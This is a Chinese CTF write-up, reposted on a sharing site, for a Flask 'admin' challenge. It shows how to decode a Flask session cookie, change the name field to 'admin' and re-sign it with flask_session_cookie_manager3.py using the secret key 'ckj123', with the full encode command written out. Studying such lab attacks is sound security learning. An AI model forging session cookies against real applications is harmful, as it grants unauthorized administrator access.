标签：web flask admin 字段 session cookie id 轻量级
由于flask是非常轻量级的web应用，用户的session竟然存在客户端，在cookie的session字段中，例如admin这道长ctf赛题中随便注册了一个账号，F12查看cookie，里面session字段的值
为：session:".eJxF0MGKgzAQgOFXWebcQ2PtRejBJSoWJuISt2QupdtaNRoXtEWb0nffbAu7x_AxPzO5w_48lGMNwWW4lgvYNycI7vD2BQFk8tQRP06Z_GiF7Toy6SRs3ZDJV78mZK2zJNbEqxsatSa57QRvl-7NlE094eUzatFlHBklzrxiTTycUR6Z0Mp5XCsvd810Vra4KVn4qIsV6mot3Jyy6DrCII98MtGMNlySLCbBtw3KihHHG-ncF7toA48FHMfhvL98t2X_fwIPV2Rc0suZMsrPktTHBN36793LlKUkNiTjhnRrUeezmjbPXGMOVflX2kXsMwtf0h-MAxjrQ1-N9RUWcB3L4fl1wJbw-AHI9m2q.YrLs3Q.BxMDQeKf1wisWylKo_O062wTU3Y"
之前学过session的，可以设置session字段里的值，这道题就是要把session解密了，把用户名修改为admin，再加密，传过去。因为经过代码审计，后端获取用户名是通过 username=session['username']获取的。
那么如何解密session呢，这里需要知道flask session加密的机制：session加密后还要对session签名（用到私钥secret_key）,然后cookie里的session值是session的base64+session的签名，所以伪造session必须知道secret_key.
上述session解密出来以后就是这个：
{'_fresh': True, '_id': b'97ed7094d79efb078bfd797e58c8acd822f9e2e494d85c267d123e835dbe7e9d011756667aacd0721c52a5825728963ec35c3f018fa1304e5042b185d32f485a', 'csrf_token': b'807fe73d5bf88b80c790e807ff3dafe1bf93241c', 'image': b'XMU8', 'name': 'shangshu', 'user_id': '10'}
改成admin:
b'97ed7094d79efb078bfd797e58c8acd822f9e2e494d85c267d123e835dbe7e9d011756667aacd0721c52a5825728963ec35c3f018fa1304e5042b185d32f485a', 'csrf_token': b'807fe73d5bf88b80c790e807ff3dafe1bf93241c', 'image': b'XMU8', 'name': 'admin', 'user_id': '10'}
然后用脚本加密，(py flask_session_cookie_manager3.py encode -s 'ckj123' -t "{'_fresh': True, '_id': b'97ed7094d79efb078bfd797e58c8acd822f9e2e494d85c267d123e835dbe7e9d011756667aacd0721c52a5825728963ec35c3f018fa1304e5042b185d32f485a', 'csrf_token': b'807fe73d5bf88b80c790e807ff3dafe1bf93241c', 'image': b'XMU8', 'name': 'admin', 'user_id': '10'}")
得到session字段的替换值，换上去F5刷新一下，就得到了flag
标签：web,flask,admin,字段,session,cookie,id,轻量级 来源： https://www.cnblogs.com/hackerone/p/16402010.html
本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享； 2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关； 3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关； 4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除； 5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。